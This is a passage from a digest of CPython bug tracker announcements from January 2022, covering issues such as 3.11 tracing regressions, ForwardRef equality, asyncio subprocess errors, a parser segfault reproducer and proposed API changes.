we keep the existing signature, because the cost of changing it is too high. However, this would needlessly complicate learning Python for all future new users. Here's a possible migration approach: - When the interpreter encounters a `with` statement, it does `getattr(cm, "__enable_single_parameter_exit__", False)` on the context manager. If this attribute exists and is truthy, `__exit__` is called with a single parameter; otherwise we keep the current behavior. - After a few releases, we flip the default, so you have to explicitly set `__enable_single_parameter_exit__ = False` to keep three-parameter `__exit__`. Libraries that still wish to support Python 3.10 and older can use this. - Eventually, after Python 3.10 reaches EOL, we always use one-parameter `__exit__`. To help the migration, we can do a few things: - Linters and type checkers can check for discrepancies in the __exit__ signature. - In the interpreter, we can provide a custom error message if the number of parameters to `__exit__` is not as expected, nudging the user towards setting `__enable_single_parameter_exit__`. - In the compiler, we can likely warn if a class body contains three-parameter `__exit__` but doesn't set `__enable_single_parameter_exit__ = False`, or similar discrepancies. Everything here should apply equally to `__aexit__`. This will require a PEP if implemented, but I want to first see whether other people think this is worth pursuing at all. ---------- messages: 410210 nosy: Jelle Zijlstra, iritkatriel priority: normal severity: normal status: open title: Simplify the signature of __exit__ _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:17:57 2022 From: report at bugs.python.org (Ned Batchelder) Date: Mon, 10 Jan 2022 14:17:57 +0000 Subject: [New-bugs-announce] [issue46331] 3.11: tracing revisits class line after class docstring Message-ID: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> New submission from Ned Batchelder : See the starred line in the trace output for 3.11: $ cat class_def.py class theClass: ''' the docstring. ''' def __init__(self): ''' Another docstring. ''' self.a = 1 $ python3.10 -c "import sys; print(sys.version)" 3.10.1 (main, Dec 14 2021, 08:30:13) [Clang 12.0.0 (clang-1200.0.32.29)] $ python3.10 -m trace --trace class_def.py --- modulename: class_def, funcname: class_def.py(1): class theClass: --- modulename: class_def, funcname: theClass class_def.py(1): class theClass: class_def.py(2): ''' the docstring. ''' class_def.py(3): def __init__(self): $ python3.11 -c "import sys; print(sys.version)" 3.11.0a3+ (heads/main:0fc58c1e05, Jan 8 2022, 19:45:58) [Clang 12.0.0 (clang-1200.0.32.29)] $ python3.11 -m trace --trace class_def.py --- modulename: class_def, funcname: class_def.py(1): class theClass: --- modulename: class_def, funcname: theClass class_def.py(1): class theClass: class_def.py(2): ''' the docstring. ''' class_def.py(1): class theClass: <<<********* class_def.py(3): def __init__(self): ---------- components: Interpreter Core keywords: 3.11regression messages: 410217 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: 3.11: tracing revisits class line after class docstring versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:21:23 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 14:21:23 +0000 Subject: [New-bugs-announce] [issue46332] Use raise..from in logging/config instead of assigning __cause__ Message-ID: <1641824483.89.0.494458683054.issue46332@roundup.psfhosted.org> New submission from Irit Katriel : Lib/logging/config.py has this, which looks like it's partly remnants of old exception handling APIs: except ImportError: e, tb = sys.exc_info()[1:] v.__cause__, v.__traceback__ = e, tb raise v It is clearer if written as: except ImportError as e: v = ValueError('Cannot resolve %r: %s' % (s, e)) raise v from e (note that this doesn't copy the traceback from e to v, but this is redundant information anyway because e is chained to v as the cause). ---------- components: Library (Lib) messages: 410218 nosy: iritkatriel priority: normal severity: normal status: open title: Use raise..from in logging/config instead of assigning __cause__ versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 10:20:29 2022 From: report at bugs.python.org (Andreas H.) Date: Mon, 10 Jan 2022 15:20:29 +0000 Subject: [New-bugs-announce] [issue46333] ForwardRef.__eq__ does not respect module parameter Message-ID: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> New submission from Andreas H. : The __eq__ method of ForwardRef does not take into account the module parameter. However, ForwardRefs with dissimilar module parameters are referring to different types even if they have different name. Thus also the ForwardRef's with same name but different module, should not be considered equal. Consider the following code from typing import * ZZ = Optional['YY'] YY = int YY = Tuple[Optional[ForwardRef("YY", module=__name__)], int] print( YY.__args__[0].__args__[0].__forward_module__ ) # this prints None, but should print __main__ (or whatever __name__ contains) When the first ForwardRef is not created, the program behaves correctly #ZZ = Optional['YY'] YY = int YY = Tuple[Optional[ForwardRef("YY", module=__name__)], int] print( YY.__args__[0].__args__[0].__forward_module__ ) # this prints __main__ (or whatever __name__ contains) The issue is that the line `ZZ = Optional['YY']` creates a cache entry, which is re-used instead of the second definition `Optional[ForwardRef("YY", module=__name__)]` and thus shadows the different argument of ForwardRef. This problem could be fixed if the __eq__ method of FowardRef also checks for module equality. i.e. in ForwardRef.__eq__ in typing.py replace return self.__forward_arg__ == other.__forward_arg__ with return self.__forward_arg__ == other.__forward_arg__ and self.__forward__module__ == other.__forward__module__ Ideally, (and for consistency reasons) the `__repr__` method of `ForwardRef` would also include the module arg if it present: Change: def __repr__(self): return f'ForwardRef({self.__forward_arg__!r})' to def __repr__(self): if self.__forward_module__ is None: return f'ForwardRef({self.__forward_arg__!r})' else: return f'ForwardRef({self.__forward_arg__!r}, module={self.__forward__module!r})' ---------- components: Library (Lib) messages: 410221 nosy: andreash, gvanrossum, kj priority: normal severity: normal status: open title: ForwardRef.__eq__ does not respect module parameter type: behavior versions: Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 12:20:52 2022 From: report at bugs.python.org (Trey Hunner) Date: Mon, 10 Jan 2022 17:20:52 +0000 Subject: [New-bugs-announce] [issue46334] Glossary URLs with anchor link no longer jump to definitions Message-ID: <1641835252.55.0.383081716651.issue46334@roundup.psfhosted.org> New submission from Trey Hunner : The glossary page allows for anchor links to jump to specific definitions. For example: https://docs.python.org/3.9/glossary.html#term-lbyl will open the glossary page with the web browser showing the LBYL at the top of the page. This no longer works in Python 3.10 and Python 3.11 documentation. https://docs.python.org/3.10/glossary.html#term-lbyl https://docs.python.org/3.11/glossary.html#term-lbyl Opening either of those links in Chrome or Firefox on my machine results in the glossary page being opened without any scrolling (the top of the glossary page is shown rather than the LBYL definition). ---------- assignee: docs at python components: Documentation messages: 410234 nosy: docs at python, trey priority: normal severity: normal status: open title: Glossary URLs with anchor link no longer jump to definitions type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:55:53 2022 From: report at bugs.python.org (Clint Olsen) Date: Mon, 10 Jan 2022 18:55:53 +0000 Subject: [New-bugs-announce] [issue46335] asyncio.create_subprocess_exec throws RuntimeError yet still executes subprogram Message-ID: <1641840953.56.0.83398324511.issue46335@roundup.psfhosted.org> New submission from Clint Olsen : When stress testing my code in a process-limited environment I found that despite throwing an exception, it appears the process still executes. Attempting to catch/retry results in a duplicate. Attached is a script that I was able to repro the problem on Linux. I cannot get it to behave similarly on MacOS. The exception looks like: /bin/sh: fork: retry: Resource temporarily unavailable Traceback (most recent call last): File "/home/colsen/async/./example", line 16, in run proc = await asyncio.create_subprocess_exec('/bin/sh','-c', f'/bin/echo {_id} > {_uuid}.out') File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/subprocess.py", line 236, in create_subprocess_exec transport, protocol = await loop.subprocess_exec( File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/base_events.py", line 1661, in subprocess_exec transport = await self._make_subprocess_transport( File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/unix_events.py", line 202, in _make_subprocess_transport watcher.add_child_handler(transp.get_pid(), File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/unix_events.py", line 1381, in add_child_handler thread.start() File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/threading.py", line 892, in start _start_new_thread(self._bootstrap, ()) RuntimeError: can't start new thread So, this script ended up producing 21 output files (duplicate on iteration 18). I need a way to catch these errors, pause, and retry when they are recoverable. ---------- components: asyncio files: example messages: 410242 nosy: Clint Olsen, asvetlov, yselivanov priority: normal severity: normal status: open title: asyncio.create_subprocess_exec throws RuntimeError yet still executes subprogram versions: Python 3.9 Added file: https://bugs.python.org/file50553/example _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 16:41:04 2022 From: report at bugs.python.org (Lev Bishop) Date: Mon, 10 Jan 2022 21:41:04 +0000 Subject: [New-bugs-announce] [issue46336] Sixth element of tuple from __reduce__(), inconsistency between pickle and copy Message-ID: <1641850864.54.0.502406919667.issue46336@roundup.psfhosted.org> New submission from Lev Bishop : As discussed in discord thread https://discuss.python.org/t/sixth-element-of-tuple-from-reduce-inconsistency-between-pickle-and-copy/12902 where guido suggested to open this issue. Both the pickle and copy modules of the standard library make use of a class?s __reduce__() method for customizing their pickle/copy process. They seem to have a consistent view of the first 5 elements of the returned tuple: (func, args, state, listiter, dictiter) but the 6th element seems different. For pickle it?s state_setter , a callable with signature state_setter(obj, state)->None , but for copy it?s deepcopy with signature deepcopy(arg: T, memo) -> T . This seems to be unintentional, since the pickle documentation states: > As we shall see, pickle does not use directly the methods described > above. In fact, these methods are part of the copy protocol which > implements the __reduce__() special method. The copy protocol provides > a unified interface for retrieving the data necessary for pickling > and copying objects It seems like in order to make a class definition for __reduce__() returning all 6 elements, then the __reduce__() would have to do something very awkward like examining its call stack in order to determine if it is being called in pickle or copy context in order to return an appropriate callable? (Naively providing the same callable in both contexts would cause errors for one or the other). I attach a test file which defines two classes making use of a __reduce__() returning a 6 element tuple. One class Pickleable can be duplicated via pickling, but not deepcopied. The converse is true for the Copyable class. Other than the 6th element of the tuple returned from __reduce__() the classes are identical. Guido dug into the history and found that: > it looks like these are independent developments: > the 6th arg for deepcopy was added 6 years ago via Issue 26167: Improve copy.copy speed for built-in types (list/set/dict) - Python tracker > the 6th arg for pickle was adde 3 years ago via Issue 35900: Add pickler hook for the user to customize the serialization of user defined functions and types. - Python tracker > I?m guessing the folks doing the latter weren?t aware that deepcopy already uses the 6th arg. Sorting this out will be painful. ---------- components: Library (Lib) files: reduce.py messages: 410256 nosy: lev.bishop priority: normal severity: normal status: open title: Sixth element of tuple from __reduce__(), inconsistency between pickle and copy type: behavior Added file: https://bugs.python.org/file50554/reduce.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 16:50:56 2022 From: report at bugs.python.org (Lincoln Auster) Date: Mon, 10 Jan 2022 21:50:56 +0000 Subject: [New-bugs-announce] [issue46337] urllib.parse: Allow more flexibility in schemes and URL resolution behavior Message-ID: <1641851456.34.0.342855463339.issue46337@roundup.psfhosted.org> New submission from Lincoln Auster : It looks like this was discussed in 2013-2015 here: https://bugs.python.org/issue18828 Basically, with all the URL schemes that exist in the world (and the possibility of a custom scheme), the current strategy of enumerating what do what in a hard-coded variable is a bit ... weird. Among the proposed solutions in 18828, some were: + Have a global registry of what schemes do what (criticized for being overkill, and I can't say I disagree) + Get rid of the scheme lists altogether, and assume every scheme supports everything (isn't backwards compatible; might break with intended behavior, too). + Switch the use_relative whitelist to a blacklist: (maybe fine in practice, maybe not; either way it doesn't really fix the underlying issue) + Work around it with global state (modify the uses_* lists; this is what I'm doing in my code, and I can't say I like it much). An alternative implemented I've implemented in my fork (https://github.com/lincolnauster/cpython/tree/urllib-custom-schemes) is to have an Enum with all the weird scheme-based behaviors that may occur (urllib.parse.SchemeClass in my fork) and allow passing a set of those Enums to functions relying on scheme-specific behavior, and adding all the elements of that set to what's been determined by the scheme. (See the test case for a concrete example; this explanation is not great). Some things I like about this: + Backwards compatibility. + It makes the functions using it as a general strategy a bit more pure. + It makes client code deal with edge cases. Some things that could be changed: + There's no way to remove behaviors you *don't* want. + It makes client code deal with edge cases. As a side thought: if the above could be adopted, the uses_* lists could be enforced as immutable, which, while breaking compatibility, could make client code a bit cleaner. ---------- components: Library (Lib) messages: 410259 nosy: lincolnauster priority: normal severity: normal status: open title: urllib.parse: Allow more flexibility in schemes and URL resolution behavior type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 17:01:51 2022 From: report at bugs.python.org (Allie Hammond) Date: Mon, 10 Jan 2022 22:01:51 +0000 Subject: [New-bugs-announce] [issue46338] libc_ver() runtime error when sys.executable is empty Message-ID: <1641852111.45.0.964710439738.issue46338@roundup.psfhosted.org> New submission from Allie Hammond : libc_ver() in platform.py (called from platform()) causes a runtime error if sys.executable returns null. In my case, FreeRADIUS offers a module rlm_python3 which allows you to run python code from the C based FreeRADIUS server - since this module doesn't use a python binary to execute sys.executable returns null trigering this error. ---------- messages: 410261 nosy: allie.hammond, lemburg priority: normal severity: normal status: open title: libc_ver() runtime error when sys.executable is empty type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 21:56:11 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 11 Jan 2022 02:56:11 +0000 Subject: [New-bugs-announce] [issue46339] PEG parser segfault from ast.literal_eval Message-ID: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> New submission from Gregory P. Smith : cpython/b$ ./python Python 3.11.0a3+ (heads/main-dirty:081a214008, Jan 11 2022, 02:48:22) [GCC 11.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import ast >>> ast.literal_eval('''F""" ... ... ... {6 ... 0="""''') Segmentation fault this was discovered by oss-fuzz. This may be a recent regression? It didn't happen on my build from a few weeks ago. worth testing on older versions. ---------- assignee: pablogsal components: Parser messages: 410270 nosy: gregory.p.smith, lys.nikolaou, pablogsal priority: normal severity: normal stage: needs patch status: open title: PEG parser segfault from ast.literal_eval type: crash versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 00:06:33 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 11 Jan 2022 05:06:33 +0000 Subject: [New-bugs-announce] [issue46340] DeprecationWarning emitted when running asyncio tests Message-ID: <1641877593.22.0.527183062613.issue46340@roundup.psfhosted.org> Change by Kumar Aditya : ---------- components: asyncio nosy: asvetlov, kumaraditya303, yselivanov priority: normal pull_requests: 28727 severity: normal status: open title: DeprecationWarning emitted when running asyncio tests versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 07:03:32 2022 From: report at bugs.python.org (David) Date: Tue, 11 Jan 2022 12:03:32 +0000 Subject: [New-bugs-announce] [issue46341] duplicate paragraphs - asyncio Coroutines and Tasks file Message-ID: <1641902612.32.0.752677613191.issue46341@roundup.psfhosted.org> Change by David : ---------- assignee: docs at python components: Documentation nosy: davem, docs at python priority: normal pull_requests: 28731 severity: normal status: open title: duplicate paragraphs - asyncio Coroutines and Tasks file versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 07:10:25 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 11 Jan 2022 12:10:25 +0000 Subject: [New-bugs-announce] [issue46342] Make @final introspectable at runtime Message-ID: <1641903025.56.0.417443155132.issue46342@roundup.psfhosted.org> New submission from Jelle Zijlstra : Currently, @typing.final is implemented as an identity function, which makes it impossible for type checkers that look at runtime objects to support it. I propose that we implement it as something like: def final(f): try: f.__final__ = True except AttributeError: pass # in case it is used on an object that doesn't support setting attributes return f I will submit a PR implementing this idea. ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 410298 nosy: Jelle Zijlstra, gvanrossum, kj priority: normal severity: normal stage: needs patch status: open title: Make @final introspectable at runtime type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 07:43:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 Jan 2022 12:43:40 +0000 Subject: [New-bugs-announce] [issue46343] Add PyErr_GetActiveException and PyErr_SetActiveException Message-ID: <1641905020.84.0.19361344207.issue46343@roundup.psfhosted.org> New submission from Irit Katriel : Following the removal of exc_type and exc_traceback from the interpreter's active exception in issue45711, we can now provide simplified get-set functions in the C Api: PyAPI_FUNC(void) PyErr_GetActiveException(PyObject **); PyAPI_FUNC(void) PyErr_SetActiveException(PyObject *); as alternatives to PyAPI_FUNC(void) PyErr_GetExcInfo(PyObject **, PyObject **, PyObject **); PyAPI_FUNC(void) PyErr_SetExcInfo(PyObject *, PyObject *, PyObject *); See also issue46328 re the corresponding change in the sys module. ---------- assignee: iritkatriel components: C API, Interpreter Core messages: 410299 nosy: iritkatriel priority: normal severity: normal status: open title: Add PyErr_GetActiveException and PyErr_SetActiveException type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 08:10:52 2022 From: report at bugs.python.org (Ned Batchelder) Date: Tue, 11 Jan 2022 13:10:52 +0000 Subject: [New-bugs-announce] [issue46344] 3.11: except/else/if/raise traced incorrectly Message-ID: <1641906652.4.0.592268865444.issue46344@roundup.psfhosted.org> New submission from Ned Batchelder : This code shows a raise inside an except/else/if that isn't run, but incorrectly appears in the trace output (see the ***** line): $ cat arcs_1160.py def func(x): try: b = 6 except ZeroDivisionError: pass else: if x == "raise": raise ValueError() finally: f = 23 func("other") $ python3.10 -c "import sys; print(sys.version)" 3.10.1 (main, Dec 14 2021, 08:30:13) [Clang 12.0.0 (clang-1200.0.32.29)] $ python3.10 -m trace --trace arcs_1160.py --- modulename: arcs_1160, funcname: arcs_1160.py(1): def func(x): arcs_1160.py(12): func("other") --- modulename: arcs_1160, funcname: func arcs_1160.py(2): try: arcs_1160.py(3): b = 6 arcs_1160.py(7): if x == "raise": arcs_1160.py(10): f = 23 $ python3.11 -c "import sys; print(sys.version)" 3.11.0a3+ (heads/main:d24cd49acb, Jan 11 2022, 07:29:41) [Clang 12.0.0 (clang-1200.0.32.29)] $ python3.11 -m trace --trace arcs_1160.py --- modulename: arcs_1160, funcname: arcs_1160.py(1): def func(x): arcs_1160.py(12): func("other") --- modulename: arcs_1160, funcname: func arcs_1160.py(2): try: arcs_1160.py(3): b = 6 arcs_1160.py(7): if x == "raise": arcs_1160.py(8): raise ValueError() <<********** arcs_1160.py(10): f = 23 ---------- components: Interpreter Core keywords: 3.11regression messages: 410300 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: 3.11: except/else/if/raise traced incorrectly versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:12:50 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 11 Jan 2022 15:12:50 +0000 Subject: [New-bugs-announce] [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default Message-ID: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now this corner case is not tested: ```python class Some: x: int = None import typing assert typing.get_type_hints(Some) == {'x': int} ``` Notice that we don't add implicit `Optional` type to `x`. This is different for function arguments that will have `Optional` added. I think it is a good idea to add a test for this. Espeically given that we can change function's behavior. Context: - https://bugs.python.org/issue46195 - https://github.com/python/cpython/pull/30304 ---------- components: Library (Lib) messages: 410307 nosy: sobolevn priority: normal severity: normal status: open title: Add an explicit test for `get_type_hints` for a class field with `None` default versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 13:31:57 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 11 Jan 2022 18:31:57 +0000 Subject: [New-bugs-announce] [issue46346] New compilation warnings on Windows Message-ID: <1641925917.43.0.280254696624.issue46346@roundup.psfhosted.org> New submission from Guido van Rossum : I am getting these warnings: C:\Users\gvanrossum\cpython\PC\_testconsole.c(70,38): warning C4013: '_Py_get_osfhandle' undefined; assuming extern returnin g int [C:\Users\gvanrossum\cpython\PCbuild\_testconsole.vcxproj] C:\Users\gvanrossum\cpython\PC\_testconsole.c(70,1): warning C4047: 'initializing': 'HANDLE' differs in levels of indirectio n from 'int' [C:\Users\gvanrossum\cpython\PCbuild\_testconsole.vcxproj] C:\Users\gvanrossum\cpython\Modules\_tkinter.c(144,37): warning C4013: '_Py_stat' undefined; assuming extern returning int [ C:\Users\gvanrossum\cpython\PCbuild\_tkinter.vcxproj] I noticed that GitHub also was flagging these in unrelated PRs. ---------- components: Build, Windows messages: 410320 nosy: gvanrossum, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: New compilation warnings on Windows versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:06:10 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 21:06:10 +0000 Subject: [New-bugs-announce] [issue46347] memory leak in PyEval_EvalCodeEx Message-ID: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> New submission from Yury Selivanov : I'm investigating a memory leak in 3.10, and while looking at the offending commit I stumbled upon this: in ceval.c:PyEval_EvalCodeEx, there's this allocation: PyObject **kwargs = PyMem_Malloc(sizeof(PyObject *)*kwcount); The problem is that this isn't ever freed. And `kwargs` isn't used anywhere in the function body. It seems to me that this is silently leaking memory. ---------- messages: 410329 nosy: Elvis.Pranskevichus, Mark.Shannon, pablogsal, vstinner, yselivanov priority: normal severity: normal status: open title: memory leak in PyEval_EvalCodeEx _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:22:44 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 11 Jan 2022 21:22:44 +0000 Subject: [New-bugs-announce] [issue46348] Morernize `test_typing` Message-ID: <1641936164.19.0.344462599094.issue46348@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several very old details in `test_typing`. Some examples: 1. `@skipUnless(sys.version_info >= (3, 3), 'ChainMap was added in 3.3')` https://github.com/python/cpython/blame/dce642f24418c58e67fa31a686575c980c31dd37/Lib/test/test_typing.py#L3583 Probably we don't care about `3.3` anymore, so this decorator cam be removed 2. Lib/test/mod_generics_cache.py has a specific path for 3.6, which has reached its EOL, so it can also be simplified 3. `ASYNCIO_TESTS` can be written as a regular code now (this is the one I am not 100% sure about, but let's see what the CI will say) PR is on its way! ---------- components: Library (Lib) messages: 410333 nosy: sobolevn priority: normal severity: normal status: open title: Morernize `test_typing` versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:39:13 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 11 Jan 2022 21:39:13 +0000 Subject: [New-bugs-announce] [issue46349] inspect.getdoc() should append parent class method docs when encountering a local one line docstring Message-ID: <1641937153.72.0.655254762095.issue46349@roundup.psfhosted.org> New submission from Gregory P. Smith : Today `inspect.getdoc()` is quite simple. If a method has any docstring, it returns it. There is one idiom where this is not very useful to our users. A """See base class.""" docstring on a method. Rather than having to repeat the canonical base class documentation in all methods or argue with tooling about not having a docstring in this common scenario, a single line docstring being used as a hint to just bring in the parent's docstring would be more helpful to the user. Today's inspect.getdoc() could would turn from: https://github.com/python/cpython/blob/main/Lib/inspect.py#L850 into something like: ``` ... if doc is None or (isinstance(doc, str) and '\n' not in doc.strip()): try: parent_doc = _finddoc(object) if doc is None: doc = parent_doc elif isinstance(parent_doc, str): doc = f'{doc}\nParent class MRO doc:\n{parent_doc}' except (AttributeError, TypeError): return doc ... ``` Why not just tell people to omit docstrings when they want parent docs? Because not all coding styles and linter tooling allows for this as they aim to enforce that documentation _is_ written. Source analysis tooling and IDEs may not have a whole transitive dependency view of where the base classes even come from and are thus incapable of reliably analyzing whether a parent MRO method even exists or has a docstring. This allows for trivial one line docstrings in that situation while still providing better information to the help() user. This would add value to when using help(typical_subclass_of_abstract_thing.method) in notebooks. ---------- components: Library (Lib) messages: 410335 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: inspect.getdoc() should append parent class method docs when encountering a local one line docstring type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:10:12 2022 From: report at bugs.python.org (Dan Snider) Date: Tue, 11 Jan 2022 22:10:12 +0000 Subject: [New-bugs-announce] [issue46350] re.sub, re.Match.expand, etc doesn't allow x, u, U, or N escapes in the template Message-ID: <1641939012.19.0.13776155937.issue46350@roundup.psfhosted.org> New submission from Dan Snider : The docs use the phrase "unknown escapes of ASCII letters are reserved for future use and treated as errors". That seems ambiguous enough to question why "\x", "\u", "\U", and "\N{}" escapes aren't expanded in the template parameter like they are in patterns. Since I didn't get a response to the security report I submitted a few weeks ago about \N{} escapes, I'm cautiously assuming it's safe to bring it up here that the "unicode-escape" encoding and re and probably everything else that uses it ignores two obvious clues that a name lookup will fail: length and the presence of invalid characters. I didn't look very hard for a definite length cap in the spec, but 255 seems more than sufficient, based on longest name at present with its 82 characters. Even something as absurd as 65535 would be preferable to the current implementations, which will keep going to the end as in: >>> r"\N{%s}" % ("\ufb03"*2**30) searching or a terminating "}" and still perform a lookup of the 2**30 character name. Another tangentially related "bug" (which probably deserves its own issue) is the inconsistency between group names and standard Python identifiers. The following example shows how the python compiler decomposes a ligature '?' in source code to the ASCII string "ffi", while re merely checks if it could be converted to an identifier: >>> ? = re.search("(?P.)", "xxx") >>> ffi.groupdict() {'?': 'x'} >>> "\ufb03" in vars(), "\ufb03" in _ (False, True) ---------- messages: 410337 nosy: bup priority: normal severity: normal status: open title: re.sub, re.Match.expand, etc doesn't allow x, u, U, or N escapes in the template type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:32:47 2022 From: report at bugs.python.org (Guntram Wolski) Date: Tue, 11 Jan 2022 23:32:47 +0000 Subject: [New-bugs-announce] [issue46351] Makefile missing '/' for some path names Message-ID: <1641943967.39.0.327785267688.issue46351@roundup.psfhosted.org> New submission from Guntram Wolski : In reviewing the output of make -n install, I notice certain paths are missing '/' separators: if test "x" != "x" ; then \ rm -f /usr/local/python3.9.9/binpython3.9-32; \ lipo \ -output /usr/local/python3.9.9/bin/python3.9-32 \ /usr/local/python3.9.9/bin/python3.9; \ fi There should be a '/' between bin and python3.9-32 and other lines have the same issue. The Makefile source lines where I see this error are: if test "x$(LIPO_32BIT_FLAGS)" != "x" ; then \ --> rm -f $(DESTDIR)$(BINDIR)python$(VERSION)-32$(EXE); \ lipo $(LIPO_32BIT_FLAGS) \ -output $(DESTDIR)$(BINDIR)/python$(VERSION)-32$(EXE) \ $(DESTDIR)$(BINDIR)/python$(VERSION)$(EXE); \ fi if test "x$(LIPO_INTEL64_FLAGS)" != "x" ; then \ --> rm -f $(DESTDIR)$(BINDIR)python$(VERSION)-intel64$(EXE); \ lipo $(LIPO_INTEL64_FLAGS) \ -output $(DESTDIR)$(BINDIR)/python$(VERSION)-intel64$(EXE) \ $(DESTDIR)$(BINDIR)/python$(VERSION)$(EXE); \ fi I think the lines I've marked with --> above should have the '/' after $(BINDIR).... ???? ---------- components: Installation messages: 410356 nosy: gwolski priority: normal severity: normal status: open title: Makefile missing '/' for some path names versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 00:15:51 2022 From: report at bugs.python.org (Jacob Martin) Date: Wed, 12 Jan 2022 05:15:51 +0000 Subject: [New-bugs-announce] [issue46352] Steps To Do Arlo Setup Message-ID: <1641964551.3.0.254871358751.issue46352@roundup.psfhosted.org> Change by Jacob Martin : ---------- components: Installation files: Arlo camera setup.jpg nosy: jacobmartin717 priority: normal severity: normal status: open title: Steps To Do Arlo Setup type: security versions: Python 3.8 Added file: https://bugs.python.org/file50558/Arlo camera setup.jpg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 03:53:18 2022 From: report at bugs.python.org (Denis Laxalde) Date: Wed, 12 Jan 2022 08:53:18 +0000 Subject: [New-bugs-announce] [issue46353] 'pydoc -k' crashes when some module's loader is not found Message-ID: <1641977598.42.0.091371841843.issue46353@roundup.psfhosted.org> New submission from Denis Laxalde : On my (Debian 10) system, 'pydoc -k' crashes as follows: $ python3 -m pydoc -k foo Traceback (most recent call last): File "/usr/lib/python3.9/runpy.py", line 197, in _run_module_as_main return _run_code(code, main_globals, None, File "/usr/lib/python3.9/runpy.py", line 87, in _run_code exec(code, run_globals) File "/usr/lib/python3.9/pydoc.py", line 2862, in cli() File "/usr/lib/python3.9/pydoc.py", line 2795, in cli apropos(val) File "/usr/lib/python3.9/pydoc.py", line 2287, in apropos ModuleScanner().run(callback, key, onerror=onerror) File "/usr/lib/python3.9/pydoc.py", line 2248, in run loader = spec.loader AttributeError: 'NoneType' object has no attribute 'loader' (The same happens with current 'main' of CPython.) The module that is tried to be loaded is 'ansible.galaxy.data', installed in /usr/lib/python3/dist-packages/ and it uses a custom (Ansible) finder _AnsiblePathHookFinder. Maybe this finder has problems, but since Finder.find_module() may return None, I believe this should be handled by pydoc's ModuleScanner. If agreed, I'll prepare a fix accordingly. ---------- components: Library (Lib) messages: 410388 nosy: dlax priority: normal severity: normal status: open title: 'pydoc -k' crashes when some module's loader is not found type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 08:21:28 2022 From: report at bugs.python.org (=?utf-8?q?Marek_=C4=BDach?=) Date: Wed, 12 Jan 2022 13:21:28 +0000 Subject: [New-bugs-announce] [issue46354] AttributeError: module 'collections' has no attribute 'Mapping' Message-ID: <1641993688.56.0.448916819449.issue46354@roundup.psfhosted.org> Change by Marek ?ach : ---------- nosy: mareklachbc priority: normal severity: normal status: open title: AttributeError: module 'collections' has no attribute 'Mapping' type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 09:11:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 14:11:24 +0000 Subject: [New-bugs-announce] [issue46355] [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 Message-ID: <1641996684.93.0.427230565464.issue46355@roundup.psfhosted.org> New submission from STINNER Victor : Python 3.11 made many changes in PyFrameObject and 